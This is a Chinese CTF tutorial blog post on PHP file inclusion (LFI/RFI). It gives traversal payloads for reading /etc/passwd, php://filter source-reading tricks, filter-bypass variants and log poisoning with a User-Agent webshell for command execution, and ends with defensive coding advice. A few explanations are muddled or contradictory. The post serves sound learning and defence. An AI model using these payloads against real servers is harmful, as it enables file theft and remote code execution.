☰
从?page=参数到LFI:PHP文件包含漏洞原理与绕过实战
2026/10/13 14:18:25 网站建设 项目流程

第一次在 ctfshow 上刷到文件包含这个考点时,好多人的第一反应都一样:这不就是个正常的页面加载参数吗??page=home.php这种形式,看起来人畜无害,怎么就成漏洞了?我刚接触 Web 安全那阵子也是这个想法,直到自己在本地环境把include函数和用户输入拼在一起,亲眼看着/etc/passwd的内容被原样吐出来,才真正理解漏洞的成因不在功能,而在信任边界。

这篇文章围绕 ctfshow 上的文件包含题目,把这一块的基础知识点和绕过高频操作梳理一遍。适合正在刷 Web 入门系列、卡在?page=和?file=这些参数上不知道怎么继续的选手,也适合想系统补一下 LFI/RFI 原理的初学者。我会按自己真实做题的思路来写,尽量把“为什么这么做”讲清楚,而不是只给一串 Payload。

1. 文件包含问题的实质:include 信任了不该信任的输入

1.1 从 include 函数说到漏洞本质

PHP 提供了一族文件包含函数:include、include_once、require、require_once。它们的作用就是把一个文件的内容拿过来交给 PHP 引擎,当成当前脚本的一部分继续解析。正常场景下,网站为了共用页头页尾,常常会写这样的代码:

<?php $page = $_GET['page']; include($page); ?>

比如index.php?page=header.php,就加载 header 文件,index.php?page=footer.php就加载 footer,功能上非常灵活。问题出在哪?出在$page这个变量完全由用户控制,服务器没有验证它到底是“本站页面”还是“任意文件”。

如果你把参数改成:

index.php?page=../../../../etc/passwd

PHP 在处理相对路径时会一层一层往上跳,最终把/etc/passwd文件内容读出来。因为include只负责“把文件内容丢给 PHP 处理”,对于非 PHP 后缀的文件,它会原样把内容输出到响应里。这就是文件包含漏洞的实质:把用户输入直接拼接进文件包含逻辑,导致任意文件读取。

1.2 LFI 与 RFI 的区别以及 CTF 中为什么常考 PHP

文件包含按来源分成两种:

  • LFI(本地文件包含):包含的是服务器本地的文件,比如/etc/passwd、flag.php。
  • RFI(远程文件包含):包含的是远程服务器上的文件,比如http://evil.com/shell.txt。

远程包含的危害比本地包含大得多,因为攻击者可以直接让目标服务器执行自己的代码。但 PHP 远程文件包含有个前提:配置文件里allow_url_include要设置为 On。默认情况下这个是 Off 的,所以现代真实环境里 RFI 很少见,CTF 里如果出题人想考这个点,会在 Dockerfile 或 php.ini 里显式打开。而 LFI 则非常常见,因为它不需要额外的配置开关,只要代码里存在动态包含即可。

CTF 里文件包含为什么大多和 PHP 绑定?因为 PHP 的文件包含函数还能配合各种伪协议。Java、Python 虽然也有可能存在类似路径穿越的问题,但它们的“包含”机制和 PHP 完全不一样,很难像 PHP 这样通过php://filter直接读源码、通过data://直接执行代码。所以刷 ctfshow 的 Web 入门,如果看到题目里出现明显的file、page、include这类参数,第一反应就应该是:这八成是一道 PHP 文件包含题。

2. ctfshow 里典型考法:参数点、后缀追加与路径穿越的边界

2.1 经典入口:?page= 参数与看似正常的功能点

开始之前先把识别方法说清楚。文件包含题目在 ctfshow 上其实有挺明显的特征:URL 里会出现一个参数名,常见的有page、file、include、action、path、dir。也有少数题目会把路径放在 PATH_INFO 里,比如index.php/home/about。

看到这类参数,第一步就是用最简单的方式试探:

?page=../../../../etc/passwd ?file=index.php ?include=php://filter/read=convert.base64-encode/resource=index.php

如果页面出现了root:x:0:0:root:/root:/bin/bash这种内容,或者输出一段 Base64,基本就坐实了文件包含。如果什么反应都没有,说明可能有过滤、扩展名拼接或者其他限制,需要继续往下走。

另外,我建议拿到题目先看一眼响应头里的Server字段和 PHP 版本信息。ctfshow 大多数 Web 题都是 Docker 环境,PHP 版本可能从 5.x 到 8.x 都有。版本不同,很多老技巧是否成立完全不一样。后面第三节会细说。

2.2 后缀追加时的绝对路径与空字节逻辑

出题人不会傻到让你直接include($_GET['page'])就完事。ctfshow 的入门系列里,很多题会在包含前后加点“料”,最常见的是:

<?php $file = $_GET['file']; include "pages/" . $file . ".php"; ?>

代码的意思是:你要包含的文件必须放在pages/目录下,而且必须以.php结尾。这样一来,普通的../../../../etc/passwd会变成pages/../../../../etc/passwd.php,路径虽然穿越了,但最后多了.php后缀,目标文件就不存在了。

针对这种后缀追加,老一批 CTF 选手最熟悉的解法是空字节截断:

?file=../../../../etc/passwd%00

在 PHP 5.3 之前的版本里,C 语言层面的字符串处理遇到\0会截断,所以include实际加载的是pages/../../../../etc/passwd,后面加的.php被忽略。但 PHP 5.3.4 之后这个坑被修复了,现在 ctfshow 上大部分环境都是 PHP 7+,空字节截断基本用不了。

那怎么办?有两个稳定思路:

  • 绝对路径:代码拼接后是pages//etc/passwd.php,但如果你输入../flag.php,会变成pages/../flag.php,如果pages目录和flag.php在同一级,这个路径可以命中。
  • 用伪协议绕过后缀:php://filter这类协议在解析时,resource后面的部分才是资源名。如果输入php://filter/read=convert.base64-encode/resource=flag.php,拼接后变成:
pages/php://filter/read=convert.base64-encode/resource=flag.php.php

这看起来很奇怪,但部分场景下include会把pages/和前面的部分当成目录路径处理,而 PHP 的 filter 流会重新解析整个字符串。实际是否生效取决于内容。这就是为什么做题时要多试几种姿势,不要死记一个 Payload。

2.3 后缀解析差异:为什么有时候绝对路径反而更稳

上面提到绝对路径/etc/passwd加后缀的问题:pages//etc/passwd.php。Linux 系统里pages/是一个目录,//etc/passwd.php会被解释为从根目录开始的路径,所以真正的路径其实是/etc/passwd.php,这个文件不存在。

但如果目标是站内文件,比如flag.php就在项目根目录下,你可以用这种路径让拼接后的结果落在正确位置:

?file=../flag.php

拼接后是pages/../flag.php,也就是项目根目录下的flag.php,完美命中。

这个技巧看起来简单,却是很多新手容易忽略的:后缀追加并不是不可绕过的,关键是让目标文件在拼接后的路径里“对得上”。先用目录结构反推,再构造相对路径,往往比重金砸各种伪协议更直接。

3. 读源码阶段的核心武器:php://filter 与过滤器的边界

3.1 为什么要用 Base64 读出 PHP 源码

如果直接include一个.php文件,PHP 会把它当脚本执行。比如flag.php内容是这样的:

<?php $flag = "ctfshow{test_flag}"; echo $flag; ?>

直接?file=flag.php,输出的只是ctfshow{test_flag},你看不到$flag =这行代码,更别提echo $flag;后面可能还有注释、数据库连接信息之类的隐藏内容。很多题目的 flag 变量就藏在源码里,直接执行只会打印一部分,必须看原始代码。

php://filter就是干这个用的。它可以通过过滤器把文件内容转成另一种形式,避免 PHP 引擎直接执行。Base64 是首选:

?file=php://filter/read=convert.base64-encode/resource=flag.php

这个 Payload 会把flag.php的原始内容进行 Base64 编码后输出,然后你在响应里拿到一串密文,解码后就是完整的 PHP 源码。

我经常看到有人用手工解码,或者复制到在线工具里解码。效率没问题,但做题时环境时间宝贵,建议直接命令行一把梭:

echo "PD9waHAgJGYgPSAiY3Rmc2hvd3sifTsgPz4=" | base64 -d

3.2 大小写、过滤器选择与资源名细节

php://filter有几个容易被忽略的细节。

第一,协议名和处理过滤器名在 PHP 里不区分大小写。PHP://Filter和php://filter效果一样。有些题目做了简单的关键词拦截,只拦小写php://,那你直接换大写版本就可能绕过。

第二,read=可以省略。php://filter/convert.base64-encode/resource=flag.php也可以生效,默认会按读过滤器处理。写过滤器一般配合php://input用,CTF 里不太常见。

第三,多个过滤器可以用|串联:

php://filter/read=convert.base64-encode|string.rot13/resource=flag.php

这种串联在题目要你“二次解码”时会出现。常见做法是先string.rot13再convert.base64-encode,输出后发现是带干扰的密文,需要一层层剥开。

第四,如果目标文件名本身有.php后缀,但拼接时又加了一个.php,比如resource=flag.php会被拼成flag.php.php,这时候可以先试resource=flag或resource=./flag,不同版本的行为不一致。我的经验是:先看是否能读出内容,读不出来就换资源名写法,没必要死磕一个。

3.3 一条链路的完整演示:从过滤到读出隐藏 flag

拿一个非常常见的 ctfshow 风格代码举例:

<?php $file = $_GET['file']; if (preg_match('/php|data|filter/i', $file)) { die("no no no"); } include "/var/www/html/" . $file . ".php"; ?>

这个题目过滤了php、data、filter三个关键词,大小写不敏感。看到这种题,不要慌,它的过滤位置在协议名上,而不是在resource内容上。我们可以这样想:它过滤的是字符串,不是流解析行为。

如果直接构造:

?file=php://filter/read=convert.base64-encode/resource=index

会被正则拦住,因为php出现了。

那怎么办?有两个方向:

  • 用./和目录跳转绕过拦截。?file=./../../...绕过的不是正则,是路径本身。但如果正则只匹配php|data|filter,这个方向不行。
  • 用大小写变体。我前面提到协议名不区分大小写,但这里正则带了i修饰符也不行。

真正合适的办法是,利用正则的匹配点。它只过滤php这个整体字符串,如果我用多级路径让最终被include的文件名里不出现这串字符,就不算非法。比如:

?file=..//..//..//flag

这读的是/var/www/html/..//..//..//flag.php,本质上是目录穿越,但可以用来看别的。如果想看index.php源码,思路是换个过滤器。

我遇到这种题目一般会优先试php://filter的大小写、双写、填入./干扰正则,比如:

?file=./php://filter/read=convert.base64-encode/resource=index

有些环境里./php://会被include当成一个相对路径,导致协议不生效,但有些版本可以。所以我说 ctfshow 做题最忌讳只背 Payload,一定要理解每个 Payload 背后的解析逻辑,然后针对当前环境做调整。

4. 绕过过滤规则的几种对抗思路:编码、符号干扰与多重过滤链

4.1 过滤关键词时的双写与大小写变体

CTF 里常见的过滤写法有两种:正则拦截和str_replace替换。这两种应对思路完全不同。

正则拦截,比如preg_match('/php/i', $file)只是“判断是否存在”,不修改原字符串。这时候你可以试试双写:

?file=phpphp://filter/read=convert.base64-encode/resource=flag.php

有的出题人写的是str_replace('php', '', $file),会把第一次出现php替换成空字符串,phpphp替换后变成php,原本被删掉的关键字又回来了。但如果是正则拦截,双写没意义,因为依然能匹配到php。

还有就是把/换成\、反斜杠大小写混合、URL 编码混合,但要注意不同服务器对 URL 解码的处理路径不同。比如 nginx 默认会对%2f解码后传给 PHP-CGI,但某些配置下可能不会,这会导致本地测试成功、远程环境失效。所以我在 ctfshow 上遇到这类题,通常会准备一个本地php -S环境快速验证,不同版本差异真的很大。

4.2 路径穿越过滤的几种绕过形态

过滤../是文件包含题最常见的套路之一。常见写法:

$file = str_replace('../', '', $file);

这种替换只替换一次,所以可以构造:

....//....//....//etc/passwd

替换完第一组../(也就是....//里的中间部分)后,字符串变成../../开头的路径,刚好完成穿越。

如果替换是递归的,比如while循环一直删到没有../为止,那就需要用编码绕过:

..%2f..%2f..%2fetc/passwd

服务器在解析重定向和文件路径时会对%2f解码,有些环境能正常读出来。

如果同时过滤.和/,那基本上属于“考正则绕过”的难题了,常见套路是用....//来绕.的匹配,因为正则preg_replace('/\.\.\//', '', '....//')会把中间的../删掉,剩下的../又组成了穿越路径。这种题目在 ctfshow 上偶尔会出现,思路依然是“利用删除逻辑产生的新路径”。

4.3 多重过滤器链:当基础协议全被拦死时的一种思路

php://filter的强大之处不只是读源码,它还能通过在同一个流上串联多个过滤器来对文件内容进行二次、三次变换。最常见的链子:

php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16/resource=flag.php

convert.iconv.*系列过滤器可以进行字符编码转换,string.rot13可以做字母偏移转换,dechunk可以处理分块数据。多个过滤器串联后,输出内容会经过多重处理,往往能把原先被正则拦截的关键字拆散,避免触发filter或base64的黑名单。

举一个我实际做过的思路:如果题目拦截了base64这个词,但允许iconv,我可以用:

php://filter/read=convert.iconv.utf-8.utf-16le|string.rot13/resource=flag.php

输出会是一堆乱码加干扰字符,但这段内容里没有base64,可以避开关键词检查。拿到乱码后,再根据使用的过滤器逆推解码。

这一类过滤器链在入门题里不算高频,但它是“文件包含进阶”的标志性内容。如果发现前面几种绕过全部失效,就要往这个方向多想想。

5. 从任意文件读到代码执行:日志包含与相似路径

5.1 为什么日志文件能成为突破口

文件包含虽然已经能读取服务器上的任意文本文件了,但它的目标通常只是/flag这类敏感文件。有时候 flag 不在文件里,或者目标环境把 PHP 代码执行结果藏起来了,你只能读文件却没办法执行代码。这种情况下,需要把 LFI 升级成 RCE(远程代码执行)。

思路核心很简单:找服务器上一个“你能写入内容、且会被 PHP 引擎解析”的文件。日志文件正好满足条件。

以 Apache 为例,访问日志默认路径是/var/log/apache2/access.log。你访问目标网站时,服务器会把你发送的请求记录到这个文件里。记录内容的格式大概是:

192.168.1.1 - - [01/Jan/2024:10:00:00 +0000] "GET /index.php HTTP/1.1" 200 1234 "Mozilla/5.0"

如果我在请求的 User-Agent 字段里塞一段 PHP 代码,比如:

User-Agent: <?php system($_GET['cmd']); ?>

那么请求访问日志时,这段代码就会原样写入日志文件。然后再用文件包含漏洞把日志文件包含进来:

?file=/var/log/apache2/access.log&cmd=id

PHP 引擎在解析日志文件时,遇到<?php ... ?>标签就会执行里面的代码,system('id')直接执行,输出命令结果。这就完成了从任意文件读到命令执行的一步。

5.2 注入点选择:为什么 User-Agent 比 URL 更稳

实际操作的时候,很多人习惯在 URL 后面加 Payload,比如访问:

GET /index.php?cmd=<?php system($_GET['cmd']); ?> HTTP/1.1

这种方式有个问题:在 Nginx 或 Apache 的访问日志格式里,$request字段会把带特殊字符的 URL 原样记录,但不少服务器配置会转义或截断特殊字符。而 User-Agent 字段在大多数日志格式里是原样记录的,而且内容可以很长,适合放代码。

如果日志里<?php被转义成<?php或变成<?php,那包含进去 PHP 引擎就不会认。这时候可以调整注入语法,比如用短标签<?= system($_GET['cmd']); ?>,或者把代码拆成多行避免特殊字符被日志格式处理。

用 Burp 发送原始请求是最稳定的做法。手工把请求包改一下,在User-Agent里塞入代码,然后保持 TCP 连接不断开,直接请求一次,日志里就会留下标记。

5.3 日志路径不固定时的替代方案

如果你不知道日志文件在哪个路径,常见候选有:

  • /var/log/apache2/access.log(Debian/Ubuntu 系 Apache)
  • /var/log/httpd/access_log(CentOS 系 Apache)
  • /var/log/nginx/access.log(Nginx)
  • /var/log/nginx/error.log

ctfshow 的 Docker 环境里,Apache 镜像居多,/var/log/apache2/access.log命中率很高。如果日志路径变了,可以先把整个目录结构摸一遍,或者尝试用伪协议读/proc/self/cmdline看看 web 服务启动命令,再推断日志路径。

除了日志,还有一些类似思路:

  • Session 文件包含:PHP 默认把 Session 文件存到/tmp/sess_<sessionid>,如果你能控制 Session 内容(比如把 PHP 代码写入$_SESSION值),再用 LFI 包含它。文件名没有.php后缀,如果代码是include $file . ".php",这种思路会卡住。
  • 临时上传文件包含:上传一个包含 PHP 代码的文件,然后用 LFI 去包含它,但 PHP 会在请求结束后删除临时文件,需要用到条件竞争,难度较大。
  • /proc/self/environ:把 PHP 代码写进 HTTP 头,然后通过 LFI 读环境变量文件。这个技巧太老,很多环境默认读取权限已限制,现代 Docker 基本不行了。

6. 实战排查清单与训练建议

6.1 拿到文件包含题后,我的固定排查顺序

自己刷 ctfshow 文件包含题时,慢慢总结了一套固定流程,分享出来:

  1. 看参数名,判断是page、file还是include,先试一次/etc/passwd,确认存在 LFI。
  2. 用php://filter/read=convert.base64-encode/resource=index.php读目标源码,搞清楚过滤规则和拼接方式。
  3. 看过滤规则:是在代码里preg_match还是str_replace?大小写敏感不敏感?过滤的是参数还是最终拼接出来的路径?
  4. 判断目标文件名后缀:读源码时资源名要不要带.php?带上了会不会拼出.php.php?
  5. 逐个尝试伪协议:php://filter不行就试php://input、data://;只读不行就找 RCE 入口。
  6. 如果直接执行不了,转日志包含、Session 包含等旁路。

这套顺序让我避免了很多“乱试字符串”的低效操作。直接读源码永远是第一步,只有看清楚了过滤规则,后面的绕过才能对症下药。

6.2 容易踩的坑和自测方法

第一个坑是对 PHP 版本判断出错。空字节截断和短标签这类技巧对版本极度敏感,我在本地 PHP 8 环境测试一个<?=短标签没问题,但环境是 PHP 5 时,某些配置需要开启short_open_tag才能生效。所以我建议你在本地装一个和 ctfshow 环境差不多的 PHP 容器,版本越低越能覆盖老技巧。

第二个坑是过滤器链的解码顺序搞反。多个过滤器串联时,输出是你从流里读到的最后结果,解码时要逆着过滤器顺序来。比如convert.base64-encode|string.rot13,先 Base64 再 ROT13,解码时就要先 ROT13 再 Base64。

第三个坑是把php://filter当成所有文件包含题的万能钥匙。如果题目过滤了php://,你却还在纠结怎么拼这个协议名,不如回头看看这个过滤是不是可以用路径拼接绕过去,或者直接走data://。做 CTF 时思路灵活比技巧多更重要。

自测方法很简单:把题目代码复制到本地,自己去实现过滤逻辑,再写脚本测试各种绕过变体。很多网上流传的 Payload 在特定版本才有效,只有亲手验证过,做题时才有底气。

6.3 日常开发中怎么避免写出文件包含漏洞

写了几年代码之后回头看,文件包含漏洞的根源就是“文件名不可控”。写业务代码时,必须坚持这一条:

  • 文件名和路径用白名单,比如定义好允许包含的模块,用户传入的索引必须匹配白名单。
  • 绝不直接拼接用户输入到include、require、fopen这类函数里。
  • 如果确实需要动态包含,先做真实路径校验,把路径限制在站点目录内。
  • 关闭远程文件包含开关,生产环境里allow_url_include保持默认 Off。
  • 对上传文件做随机命名,避免攻击者通过文件名预测路径。

CTF 题目的很多漏洞原型,其实就是早期真实项目中常见的不规范写法的放大。把漏洞原理弄明白,不光学做题有帮助,写代码时也能形成条件反射式的安全意识。

我在 ctfshow 上刷文件包含这部分题时最大的感受是:它很像解谜游戏,给的不是终极答案,而是一条由源码和过滤规则组成的线索链。读源码、看过滤、构造 Payload、验证执行,每一步都需要你对 PHP 的机制有足够细的了解。把这一套练熟了,后面再遇到任意文件读取、包含 RCE、甚至复杂过滤器链的题目,思路都会清晰很多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询